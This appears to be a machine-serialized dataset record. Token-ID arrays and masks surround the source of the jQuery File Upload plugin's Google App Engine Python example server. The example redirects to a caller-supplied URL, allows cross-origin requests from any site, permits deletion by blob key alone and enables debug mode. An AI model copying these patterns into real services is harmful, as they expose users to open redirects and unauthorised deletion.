32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768
] |
[
636,
2443,
363,
492,
2649,
63,
5955,
199,
504,
636,
2443,
363,
492,
3679,
63,
646,
199,
504,
1639,
14,
2828,
492,
3788,
199,
504,
1639,
14,
2828,
14,
1178,
14,
11582,
492,
4676,
63,
2427,
199,
504,
1639,
14,
17469,
492,
4660,
199,
504,
1639,
14,
1208,
14,
11582,
492,
1083,
63,
11547,
199,
504,
1639,
14,
1208,
14,
6893,
492,
10366,
465,
485,
199,
504,
1639,
14,
4196,
14,
6767,
14,
3773,
492,
8204,
2768,
199,
199,
504,
1275,
492,
4513,
199,
504,
1275,
492,
1709,
421,
199,
533,
23362,
5268,
8,
2821,
2768,
304,
339,
1978,
63,
354,
275,
283,
6797,
15,
5265,
15,
12782,
15,
1751,
14,
1360,
7,
272,
1824,
63,
533,
275,
4513,
14,
5268,
14736,
339,
768,
765,
63,
11547,
8,
2886,
63,
2427,
9,
272,
347,
7634,
8,
277,
12,
1056,
12,
627,
589,
12,
1011,
958,
304,
267,
372,
1613,
8,
288,
23362,
5268,
12,
288,
291,
680,
6052,
8,
288,
1056,
12,
288,
627,
589,
12,
288,
1011,
958,
9,
339,
347,
1824,
63,
1078,
8,
277,
12,
11068,
304,
267,
367,
1824,
315,
11068,
26,
288,
2202,
275,
1824,
14,
2117,
342,
288,
3788,
14,
815,
8,
355,
291,
14,
1069,
12,
355,
3824,
5556,
911,
9128,
13116,
2818,
4284,
9,
83,
367,
298,
2116,
11792,
19813,
9,
68,
23242,
531,
450,
469,
490,
283,
4284,
356,
2202,
14,
362,
63,
4284,
63,
2918,
1062,
490,
283,
19813,
356,
291,
14,
362,
63,
6934,
63,
13233,
8,
964,
14,
842,
680,
835,
1062,
355,
789,
288,
776,
267,
372,
4660,
360,
6797,
26,
6761,
63,
1751,
358,
339,
347,
664,
63,
6934,
63,
13233,
8,
277,
12,
302,
24264,
63,
1751,
304,
267,
372,
1709,
14,
7221,
19120,
14,
1462,
14,
1541,
8,
288,
9966,
363,
1751,
29,
9745,
84,
63,
1751,
12,
288,
9772,
363,
1818,
63,
5792,
363,
6062,
29,
797,
12,
267,
7092,
2416,
63,
2407,
8,
288,
283,
6934,
297,
288,
283,
6934,
363,
1818,
63,
5792,
7,
267,
7092,
12926,
342,
339,
347,
664,
63,
964,
63,
958,
8,
277,
304,
267,
2074,
275,
8204,
2768,
14,
362,
63,
964,
63,
958,
8,
277,
9,
267,
2074,
459,
751,
418,
275,
291,
14,
1069,
14,
751,
267,
372,
2074,
339,
347,
664,
63,
1100,
63,
576,
8,
277,
12,
1011,
958,
304,
267,
1067,
275,
8204,
2768,
14,
362,
63,
1100,
63,
576,
8,
277,
12,
1011,
958,
9,
267,
340,
283,
964,
7,
440,
315,
1067,
26,
288,
1067,
459,
964,
418,
275,
291,
14,
362,
63,
964,
342,
267,
1067,
459,
10724,
418,
275,
2074,
459,
964,
418,
267,
367,
1824,
315,
1067,
459,
10724,
2565,
288,
340,
1824,
14,
842,
26,
355,
5371,
8,
490,
1824,
14,
842,
12,
490,
283,
6934,
13233,
297,
490,
291,
14,
362,
63,
6934,
63,
13233,
8,
964,
14,
842,
9,
355,
776,
267,
372,
1067,
199,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
32768,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
fatimatunnura/laravelxm
|
public/assets/global/plugins/jquery-file-upload/server/gae-python/main.py
|
245
|
5845
|
# -*- coding: utf-8 -*-
#
# jQuery File Upload Plugin GAE Python Example 2.2.0
# https://github.com/blueimp/jQuery-File-Upload
#
# Copyright 2011, Sebastian Tschan
# https://blueimp.net
#
# Licensed under the MIT license:
# http://www.opensource.org/licenses/MIT
#
from __future__ import with_statement
from google.appengine.api import files, images
from google.appengine.ext import blobstore, deferred
from google.appengine.ext.webapp import blobstore_handlers
import json
import re
import urllib
import webapp2
WEBSITE = 'https://blueimp.github.io/jQuery-File-Upload/'
MIN_FILE_SIZE = 1 # bytes
MAX_FILE_SIZE = 5000000 # bytes
IMAGE_TYPES = re.compile('image/(gif|p?jpeg|(x-)?png)')
ACCEPT_FILE_TYPES = IMAGE_TYPES
THUMBNAIL_MODIFICATOR = '=s80' # max width / height
EXPIRATION_TIME = 300 # seconds
def cleanup(blob_keys):
blobstore.delete(blob_keys)
class UploadHandler(webapp2.RequestHandler):
def initialize(self, request, response):
super(UploadHandler, self).initialize(request, response)
self.response.headers['Access-Control-Allow-Origin'] = '*'
self.response.headers[
'Access-Control-Allow-Methods'
] = 'OPTIONS, HEAD, GET, POST, PUT, DELETE'
self.response.headers[
'Access-Control-Allow-Headers'
] = 'Content-Type, Content-Range, Content-Disposition'
def validate(self, file):
if file['size'] < MIN_FILE_SIZE:
file['error'] = 'File is too small'
elif file['size'] > MAX_FILE_SIZE:
file['error'] = 'File is too big'
elif not ACCEPT_FILE_TYPES.match(file['type']):
file['error'] = 'Filetype not allowed'
else:
return True
return False
def get_file_size(self, file):
file.seek(0, 2) # Seek to the end of the file
size = file.tell() # Get the position of EOF
file.seek(0) # Reset the file position to the beginning
return size
def write_blob(self, data, info):
blob = files.blobstore.create(
mime_type=info['type'],
_blobinfo_uploaded_filename=info['name']
)
with files.open(blob, 'a') as f:
f.write(data)
files.finalize(blob)
return files.blobstore.get_blob_key(blob)
def handle_upload(self):
results = []
blob_keys = []
for name, fieldStorage in self.request.POST.items():
if type(fieldStorage) is unicode:
continue
result = {}
result['name'] = re.sub(
r'^.*\\',
'',
fieldStorage.filename
)
result['type'] = fieldStorage.type
result['size'] = self.get_file_size(fieldStorage.file)
if self.validate(result):
blob_key = str(
self.write_blob(fieldStorage.value, result)
)
blob_keys.append(blob_key)
result['deleteType'] = 'DELETE'
result['deleteUrl'] = self.request.host_url +\
'/?key=' + urllib.quote(blob_key, '')
if (IMAGE_TYPES.match(result['type'])):
try:
result['url'] = images.get_serving_url(
blob_key,
secure_url=self.request.host_url.startswith(
'https'
)
)
result['thumbnailUrl'] = result['url'] +\
THUMBNAIL_MODIFICATOR
except: # Could not get an image serving url
pass
if not 'url' in result:
result['url'] = self.request.host_url +\
'/' + blob_key + '/' + urllib.quote(
result['name'].encode('utf-8'), '')
results.append(result)
deferred.defer(
cleanup,
blob_keys,
_countdown=EXPIRATION_TIME
)
return results
def options(self):
pass
def head(self):
pass
def get(self):
self.redirect(WEBSITE)
def post(self):
if (self.request.get('_method') == 'DELETE'):
return self.delete()
result = {'files': self.handle_upload()}
s = json.dumps(result, separators=(',', ':'))
redirect = self.request.get('redirect')
if redirect:
return self.redirect(str(
redirect.replace('%s', urllib.quote(s, ''), 1)
))
if 'application/json' in self.request.headers.get('Accept'):
self.response.headers['Content-Type'] = 'application/json'
self.response.write(s)
def delete(self):
key = self.request.get('key') or ''
blobstore.delete(key)
s = json.dumps({key: True}, separators=(',', ':'))
if 'application/json' in self.request.headers.get('Accept'):
self.response.headers['Content-Type'] = 'application/json'
self.response.write(s)
class DownloadHandler(blobstore_handlers.BlobstoreDownloadHandler):
def get(self, key, filename):
if not blobstore.get(key):
self.error(404)
else:
# Prevent browsers from MIME-sniffing the content-type:
self.response.headers['X-Content-Type-Options'] = 'nosniff'
# Cache for the expiration time:
self.response.headers['Cache-Control'] = 'public,max-age=%d' % EXPIRATION_TIME
# Send the file forcing a download dialog:
self.send_blob(key, save_as=filename, content_type='application/octet-stream')
app = webapp2.WSGIApplication(
[
('/', UploadHandler),
('/([^/]+)/([^/]+)', DownloadHandler)
],
debug=True
)
|
mit
|
[
3,
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
1335,
3227,
3814,
19149,
11349,
598,
12500,
2018,
5679,
499,
14,
18,
14,
16,
199,
3,
4178,
921,
5031,
14,
957,
15,
6304,
3236,
15,
74,
3227,
13,
1173,
13,
10301,
199,
3,
199,
3,
1898,
7760,
12,
428,
2871,
1810,
5653,
377,
83,
11984,
199,
3,
4178,
921,
6304,
3236,
14,
846,
199,
3,
199,
3,
3909,
1334,
314,
10697,
4190,
26,
199,
3,
1455,
921,
1544,
14,
16374,
14,
1308,
15,
2383,
15,
13965,
199,
3,
199,
199,
504,
636,
2443,
363,
492,
543,
63,
6242,
199,
504,
6233,
14,
15358,
14,
1246,
492,
1584,
12,
5935,
199,
504,
6233,
14,
15358,
14,
832,
492,
9182,
1617,
12,
12309,
199,
504,
6233,
14,
15358,
14,
832,
14,
22632,
492,
9182,
1617,
63,
5586,
199,
646,
2022,
199,
646,
295,
199,
646,
4011,
199,
646,
24812,
18,
199,
199,
13166,
7917,
275,
283,
2859,
921,
6304,
3236,
14,
5031,
14,
2308,
15,
74,
3227,
13,
1173,
13,
10301,
4805,
199,
4896,
63,
3817,
63,
4305,
275,
413,
221,
327,
2783,
199,
4283,
63,
3817,
63,
4305,
275,
959,
3273,
221,
327,
2783,
199,
9438,
63,
7893,
275,
295,
14,
2014,
360,
1569,
7985,
14513,
92,
80,
31,
14230,
92,
8,
88,
13,
5547,
4524,
5942,
199,
13089,
63,
3817,
63,
7893,
275,
25228,
63,
7893,
199,
2080,
2639,
18273,
6593,
63,
16422,
23380,
6467,
275,
26143,
83,
1257,
7,
221,
327,
1390,
3462,
1182,
4569,
199,
25632,
23743,
63,
4961,
275,
9601,
221,
327,
4696,
421,
199,
318,
9058,
8,
6582,
63,
1612,
304,
272,
9182,
1617,
14,
1807,
8,
6582,
63,
1612,
9,
421,
199,
533,
19149,
2461,
8,
22632,
18,
14,
11149,
304,
339,
347,
8265,
8,
277,
12,
1056,
12,
1177,
304,
267,
1613,
8,
10301,
2461,
12,
291,
680,
8489,
8,
1069,
12,
1177,
9,
267,
291,
14,
1310,
14,
2139,
459,
3946,
13,
3717,
13,
7852,
13,
12834,
418,
275,
13626,
267,
291,
14,
1310,
14,
2139,
59,
288,
283,
3946,
13,
3717,
13,
7852,
13,
10385,
7,
267,
1622,
275,
283,
8808,
12,
13053,
12,
9576,
12,
8761,
12,
18337,
12,
15137,
7,
267,
291,
14,
1310,
14,
2139,
59,
288,
283,
3946,
13,
3717,
13,
7852,
13,
9883,
7,
267,
1622,
275,
283,
2714,
13,
804,
12,
6646,
13,
4709,
12,
6646,
13,
15954,
7,
339,
347,
4107,
8,
277,
12,
570,
304,
267,
340,
570,
459,
890,
418,
665,
15861,
63,
3817,
63,
4305,
26,
288,
570,
459,
705,
418,
275,
283,
1173,
365,
4634,
7425,
7,
267,
916,
570,
459,
890,
418,
690,
9141,
63,
3817,
63,
4305,
26,
288,
570,
459,
705,
418,
275,
283,
1173,
365,
4634,
7282,
7,
267,
916,
440,
28538,
63,
3817,
63,
7893,
14,
1431,
8,
493,
459,
466,
9090,
288,
570,
459,
705,
418,
275,
283,
1173,
466,
440,
4370,
7,
267,
587,
26,
288,
372,
715,
267,
372,
756,
339,
347,
664,
63,
493,
63,
890,
8,
277,
12,
570,
304,
267,
570,
14,
5507,
8,
16,
12,
499,
9,
221,
327,
1666,
75,
370,
314,
1284,
402,
314,
570,
267,
1568,
275,
570,
14,
9974,
342,
221,
327,
2372,
314,
3421,
402,
9027,
267,
570,
14,
5507,
8,
16,
9,
221,
327,
15510,
314,
570,
3421,
370,
314,
9608,
267,
372,
1568,
339,
347,
2218,
63,
6582,
8,
277,
12,
666,
12,
2256,
304,
267,
9182,
275,
1584,
14,
6582,
1617,
14,
981,
8,
288,
6660,
63,
466,
29,
815,
459,
466,
995,
288,
485,
6582,
815,
63,
19044,
63,
1501,
29,
815,
459,
354,
418,
267,
776,
267,
543,
1584,
14,
1490,
8,
6582,
12,
283,
65,
358,
465,
289,
26,
288,
289,
14,
952,
8,
576,
9,
267,
1584,
14,
14450,
8,
6582,
9,
267,
372,
1584,
14,
6582,
1617,
14,
362,
63,
6582,
63,
498,
8,
6582,
9,
339,
347,
2429,
63,
5064,
8,
277,
304,
267,
2058,
275,
942,
267,
9182,
63,
1612,
275,
942,
267,
367,
536,
12,
901,
6408,
315,
291,
14,
1069,
14,
4030,
14,
1744,
837,
288,
340,
730,
8,
698,
6408,
9,
365,
2649,
26,
355,
1980,
288,
754,
275,
1052,
288,
754,
459,
354,
418,
275,
295,
14,
954,
8,
355,
519,
4289,
2795,
1103,
297,
355,
3260,
355,
901,
6408,
14,
1501,
288,
776,
288,
754,
459,
466,
418,
275,
901,
6408,
14,
466,
288,
754,
459,
890,
418,
275,
291,
14,
362,
63,
493,
63,
890,
8,
698,
6408,
14,
493,
9,
288,
340,
291,
14,
3502,
8,
1099,
304,
355,
9182,
63,
498,
275,
620,
8,
490,
291,
14,
952,
63,
6582,
8,
698,
6408,
14,
585,
12,
754,
9,
355,
776,
355,
9182,
63,
1612,
14,
740,
8,
6582,
63,
498,
9,
355,
754,
459,
1807,
804,
418,
275,
283,
7014,
7,
355,
754,
459,
1807,
6417,
418,
275,
291,
14,
1069,
14,
1102,
63,
633,
17992,
490,
1994,
31,
498,
534,
435,
4011,
14,
3513,
8,
6582,
63,
498,
12,
4074,
355,
340,
334,
9438,
63,
7893,
14,
1431,
8,
1099,
459,
466,
26536,
490,
862,
26,
717,
754,
459,
633,
418,
275,
5935,
14,
362,
63,
14717,
63,
633,
8,
1169,
9182,
63,
498,
12,
1169,
11153,
63,
633,
29,
277,
14,
1069,
14,
1102,
63,
633,
14,
2460,
8,
1816,
283,
2859,
7,
1169,
776,
717,
776,
717,
754,
459,
8311,
6417,
418,
275,
754,
459,
633,
418,
17992,
1169,
4221,
2639,
18273,
6593,
63,
16422,
23380,
6467,
490,
871,
26,
221,
327,
18615,
440,
664,
376,
1834,
22701,
1166,
717,
986,
355,
340,
440,
283,
633,
7,
315,
754,
26,
490,
754,
459,
633,
418,
275,
291,
14,
1069,
14,
1102,
63,
633,
17992,
717,
7324,
435,
9182,
63,
498,
435,
7324,
435,
4011,
14,
3513,
8,
1169,
754,
459,
354,
2278,
2143,
360,
1624,
13,
24,
659,
4074,
288,
2058,
14,
740,
8,
1099,
9,
267,
12309,
14,
11610,
8,
288,
9058,
12,
288,
9182,
63,
1612,
12,
288,
485,
835,
2110,
29,
25632,
23743,
63,
4961,
267,
776,
267,
372,
2058,
339,
347,
1511,
8,
277,
304,
267,
986,
339,
347,
4854,
8,
277,
304,
267,
986,
339,
347,
664,
8,
277,
304
] |
[
1882,
2803,
26,
2774,
13,
24,
1882,
199,
3,
199,
3,
1335,
3227,
3814,
19149,
11349,
598,
12500,
2018,
5679,
499,
14,
18,
14,
16,
199,
3,
4178,
921,
5031,
14,
957,
15,
6304,
3236,
15,
74,
3227,
13,
1173,
13,
10301,
199,
3,
199,
3,
1898,
7760,
12,
428,
2871,
1810,
5653,
377,
83,
11984,
199,
3,
4178,
921,
6304,
3236,
14,
846,
199,
3,
199,
3,
3909,
1334,
314,
10697,
4190,
26,
199,
3,
1455,
921,
1544,
14,
16374,
14,
1308,
15,
2383,
15,
13965,
199,
3,
199,
199,
504,
636,
2443,
363,
492,
543,
63,
6242,
199,
504,
6233,
14,
15358,
14,
1246,
492,
1584,
12,
5935,
199,
504,
6233,
14,
15358,
14,
832,
492,
9182,
1617,
12,
12309,
199,
504,
6233,
14,
15358,
14,
832,
14,
22632,
492,
9182,
1617,
63,
5586,
199,
646,
2022,
199,
646,
295,
199,
646,
4011,
199,
646,
24812,
18,
199,
199,
13166,
7917,
275,
283,
2859,
921,
6304,
3236,
14,
5031,
14,
2308,
15,
74,
3227,
13,
1173,
13,
10301,
4805,
199,
4896,
63,
3817,
63,
4305,
275,
413,
221,
327,
2783,
199,
4283,
63,
3817,
63,
4305,
275,
959,
3273,
221,
327,
2783,
199,
9438,
63,
7893,
275,
295,
14,
2014,
360,
1569,
7985,
14513,
92,
80,
31,
14230,
92,
8,
88,
13,
5547,
4524,
5942,
199,
13089,
63,
3817,
63,
7893,
275,
25228,
63,
7893,
199,
2080,
2639,
18273,
6593,
63,
16422,
23380,
6467,
275,
26143,
83,
1257,
7,
221,
327,
1390,
3462,
1182,
4569,
199,
25632,
23743,
63,
4961,
275,
9601,
221,
327,
4696,
421,
199,
318,
9058,
8,
6582,
63,
1612,
304,
272,
9182,
1617,
14,
1807,
8,
6582,
63,
1612,
9,
421,
199,
533,
19149,
2461,
8,
22632,
18,
14,
11149,
304,
339,
347,
8265,
8,
277,
12,
1056,
12,
1177,
304,
267,
1613,
8,
10301,
2461,
12,
291,
680,
8489,
8,
1069,
12,
1177,
9,
267,
291,
14,
1310,
14,
2139,
459,
3946,
13,
3717,
13,
7852,
13,
12834,
418,
275,
13626,
267,
291,
14,
1310,
14,
2139,
59,
288,
283,
3946,
13,
3717,
13,
7852,
13,
10385,
7,
267,
1622,
275,
283,
8808,
12,
13053,
12,
9576,
12,
8761,
12,
18337,
12,
15137,
7,
267,
291,
14,
1310,
14,
2139,
59,
288,
283,
3946,
13,
3717,
13,
7852,
13,
9883,
7,
267,
1622,
275,
283,
2714,
13,
804,
12,
6646,
13,
4709,
12,
6646,
13,
15954,
7,
339,
347,
4107,
8,
277,
12,
570,
304,
267,
340,
570,
459,
890,
418,
665,
15861,
63,
3817,
63,
4305,
26,
288,
570,
459,
705,
418,
275,
283,
1173,
365,
4634,
7425,
7,
267,
916,
570,
459,
890,
418,
690,
9141,
63,
3817,
63,
4305,
26,
288,
570,
459,
705,
418,
275,
283,
1173,
365,
4634,
7282,
7,
267,
916,
440,
28538,
63,
3817,
63,
7893,
14,
1431,
8,
493,
459,
466,
9090,
288,
570,
459,
705,
418,
275,
283,
1173,
466,
440,
4370,
7,
267,
587,
26,
288,
372,
715,
267,
372,
756,
339,
347,
664,
63,
493,
63,
890,
8,
277,
12,
570,
304,
267,
570,
14,
5507,
8,
16,
12,
499,
9,
221,
327,
1666,
75,
370,
314,
1284,
402,
314,
570,
267,
1568,
275,
570,
14,
9974,
342,
221,
327,
2372,
314,
3421,
402,
9027,
267,
570,
14,
5507,
8,
16,
9,
221,
327,
15510,
314,
570,
3421,
370,
314,
9608,
267,
372,
1568,
339,
347,
2218,
63,
6582,
8,
277,
12,
666,
12,
2256,
304,
267,
9182,
275,
1584,
14,
6582,
1617,
14,
981,
8,
288,
6660,
63,
466,
29,
815,
459,
466,
995,
288,
485,
6582,
815,
63,
19044,
63,
1501,
29,
815,
459,
354,
418,
267,
776,
267,
543,
1584,
14,
1490,
8,
6582,
12,
283,
65,
358,
465,
289,
26,
288,
289,
14,
952,
8,
576,
9,
267,
1584,
14,
14450,
8,
6582,
9,
267,
372,
1584,
14,
6582,
1617,
14,
362,
63,
6582,
63,
498,
8,
6582,
9,
339,
347,
2429,
63,
5064,
8,
277,
304,
267,
2058,
275,
942,
267,
9182,
63,
1612,
275,
942,
267,
367,
536,
12,
901,
6408,
315,
291,
14,
1069,
14,
4030,
14,
1744,
837,
288,
340,
730,
8,
698,
6408,
9,
365,
2649,
26,
355,
1980,
288,
754,
275,
1052,
288,
754,
459,
354,
418,
275,
295,
14,
954,
8,
355,
519,
4289,
2795,
1103,
297,
355,
3260,
355,
901,
6408,
14,
1501,
288,
776,
288,
754,
459,
466,
418,
275,
901,
6408,
14,
466,
288,
754,
459,
890,
418,
275,
291,
14,
362,
63,
493,
63,
890,
8,
698,
6408,
14,
493,
9,
288,
340,
291,
14,
3502,
8,
1099,
304,
355,
9182,
63,
498,
275,
620,
8,
490,
291,
14,
952,
63,
6582,
8,
698,
6408,
14,
585,
12,
754,
9,
355,
776,
355,
9182,
63,
1612,
14,
740,
8,
6582,
63,
498,
9,
355,
754,
459,
1807,
804,
418,
275,
283,
7014,
7,
355,
754,
459,
1807,
6417,
418,
275,
291,
14,
1069,
14,
1102,
63,
633,
17992,
490,
1994,
31,
498,
534,
435,
4011,
14,
3513,
8,
6582,
63,
498,
12,
4074,
355,
340,
334,
9438,
63,
7893,
14,
1431,
8,
1099,
459,
466,
26536,
490,
862,
26,
717,
754,
459,
633,
418,
275,
5935,
14,
362,
63,
14717,
63,
633,
8,
1169,
9182,
63,
498,
12,
1169,
11153,
63,
633,
29,
277,
14,
1069,
14,
1102,
63,
633,
14,
2460,
8,
1816,
283,
2859,
7,
1169,
776,
717,
776,
717,
754,
459,
8311,
6417,
418,
275,
754,
459,
633,
418,
17992,
1169,
4221,
2639,
18273,
6593,
63,
16422,
23380,
6467,
490,
871,
26,
221,
327,
18615,
440,
664,
376,
1834,
22701,
1166,
717,
986,
355,
340,
440,
283,
633,
7,
315,
754,
26,
490,
754,
459,
633,
418,
275,
291,
14,
1069,
14,
1102,
63,
633,
17992,
717,
7324,
435,
9182,
63,
498,
435,
7324,
435,
4011,
14,
3513,
8,
1169,
754,
459,
354,
2278,
2143,
360,
1624,
13,
24,
659,
4074,
288,
2058,
14,
740,
8,
1099,
9,
267,
12309,
14,
11610,
8,
288,
9058,
12,
288,
9182,
63,
1612,
12,
288,
485,
835,
2110,
29,
25632,
23743,
63,
4961,
267,
776,
267,
372,
2058,
339,
347,
1511,
8,
277,
304,
267,
986,
339,
347,
4854,
8,
277,
304,
267,
986,
339,
347,
664,
8,
277,
304,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,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,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
